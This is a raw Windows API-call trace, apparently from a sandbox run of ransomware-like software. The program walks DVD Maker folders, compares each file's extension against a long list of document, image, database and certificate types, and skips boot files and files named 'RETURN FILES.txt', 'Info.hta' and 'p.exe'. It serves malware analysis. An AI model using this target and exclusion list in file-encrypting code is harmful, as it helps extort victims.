	[0094.519] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".docm", lpString2="k.png") returned -1
	[0094.520] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dotm", lpString2="k.png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dotx", lpString2="k.png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1
	[0094.520] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".edml", lpString2="k.png") returned -1
	[0094.520] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1
	[0094.520] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".epsf", lpString2="k.png") returned -1
	[0094.521] lstrcmpiW (lpString1=".epsp", lpString2="k.png") returned -1
	[0094.521] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".fido", lpString2="k.png") returned -1
	[0094.521] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1
	[0094.521] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1
	[0094.521] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1
	[0094.521] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".html", lpString2="k.png") returned -1
	[0094.522] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".indd", lpString2="k.png") returned -1
	[0094.522] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".java", lpString2="k.png") returned -1
	[0094.522] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1
	[0094.522] lstrcmpiW (lpString1=".jpeg", lpString2="k.png") returned -1
	[0094.522] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".js", lpString2="png") returned -1
	[0094.523] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".json", lpString2="k.png") returned -1
	[0094.523] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".lasso", lpString2="ck.png") returned -1
	[0094.523] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1
	[0094.523] lstrcmpiW (lpString1=".md", lpString2="png") returned -1
	[0094.523] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mhtml", lpString2="ck.png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mkidx", lpString2="ck.png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mpeg", lpString2="k.png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1
	[0094.524] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".onepkg", lpString2="ack.png") returned -1
	[0094.525] lstrcmpiW (lpString1=".onetoc2", lpString2="lack.png") returned -1
	[0094.525] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1
	[0094.525] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".php3", lpString2="k.png") returned -1
	[0094.526] lstrcmpiW (lpString1=".php4", lpString2="k.png") returned -1
	[0094.526] lstrcmpiW (lpString1=".php5", lpString2="k.png") returned -1
	[0094.526] lstrcmpiW (lpString1=".phtml", lpString2="ck.png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pict", lpString2="k.png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1
	[0094.526] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1
	[0094.526] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0
	[0094.526] lstrcmpiW (lpString1=".4k", lpString2="png") returned -1
	[0094.526] lstrcmpiW (lpString1="boot.ini", lpString2="1047x576black.png") returned 1
	[0094.526] lstrcmpiW (lpString1="bootfont.bin", lpString2="1047x576black.png") returned 1
	[0094.526] lstrcmpiW (lpString1="ntldr", lpString2="1047x576black.png") returned 1
	[0094.526] lstrcmpiW (lpString1="ntdetect.com", lpString2="1047x576black.png") returned 1
	[0094.526] lstrcmpiW (lpString1="io.sys", lpString2="1047x576black.png") returned 1
	[0094.526] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="1047x576black.png") returned 1
	[0094.527] lstrcmpiW (lpString1="Info.hta", lpString2="1047x576black.png") returned 1
	[0094.527] lstrcmpiW (lpString1="p.exe", lpString2="1047x576black.png") returned 1
	[0094.527] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0094.527] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0094.527] lstrcmpiW (lpString1=".accda", lpString2="re.png") returned -1
	[0094.527] lstrcmpiW (lpString1=".accdb", lpString2="re.png") returned -1
	[0094.527] lstrcmpiW (lpString1=".accdc", lpString2="re.png") returned -1
	[0094.527] lstrcmpiW (lpString1=".accde", lpString2="re.png") returned -1
	[0094.527] lstrcmpiW (lpString1=".accdt", lpString2="re.png") returned -1
	[0094.527] lstrcmpiW (lpString1=".accdw", lpString2="re.png") returned -1
	[0094.527] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0094.527] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0094.527] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0094.528] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0094.528] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.528] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.528] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.528] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.528] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0094.528] lstrlenW (lpString=".1cd") returned 4
	[0094.528] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.528] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0094.529] lstrlenW (lpString=".1cd") returned 4
	[0094.529] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.529] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0094.529] lstrlenW (lpString=".1cd") returned 4
	[0094.529] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1
	[0094.529] lstrlenW (lpString="pagecurl.png") returned 12
	[0094.529] lstrlenW (lpString=".1cd") returned 4
	[0094.529] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0
	[0094.529] FindClose (in: hFindFile=0x51d860 | out: hFindFile=0x51d860) returned 1
	[0094.529] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ec0130 | out: hHeap=0x4a0000) returned 1
	[0094.529] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1
	[0094.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned 48
	[0094.529] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3ec0130
	[0094.529] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full") returned 48
	[0094.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d860
	[0094.532] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.532] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0094.532] lstrlenW (lpString="1047x576black.png") returned 17
	[0094.532] lstrlenW (lpString=".1cd") returned 4
	[0094.532] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0094.532] lstrlenW (lpString="15x15dot.png") returned 12
	[0094.532] lstrlenW (lpString=".1cd") returned 4
	[0094.532] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1
	[0094.532] lstrlenW (lpString="dotsdarkoverlay.png") returned 19
	[0094.532] lstrlenW (lpString=".1cd") returned 4
	[0094.533] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1
	[0094.533] lstrlenW (lpString="dotslightoverlay.png") returned 20
	[0094.533] lstrlenW (lpString=".1cd") returned 4
	[0094.533] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1
	[0094.533] lstrlenW (lpString="full.png") returned 8
	[0094.533] lstrlenW (lpString=".1cd") returned 4
	[0094.533] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.533] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0094.533] lstrlenW (lpString=".1cd") returned 4
	[0094.533] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.533] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0094.534] lstrlenW (lpString=".1cd") returned 4
	[0094.534] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.534] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0094.534] lstrlenW (lpString=".1cd") returned 4
	[0094.534] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.534] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0094.534] lstrlenW (lpString=".1cd") returned 4
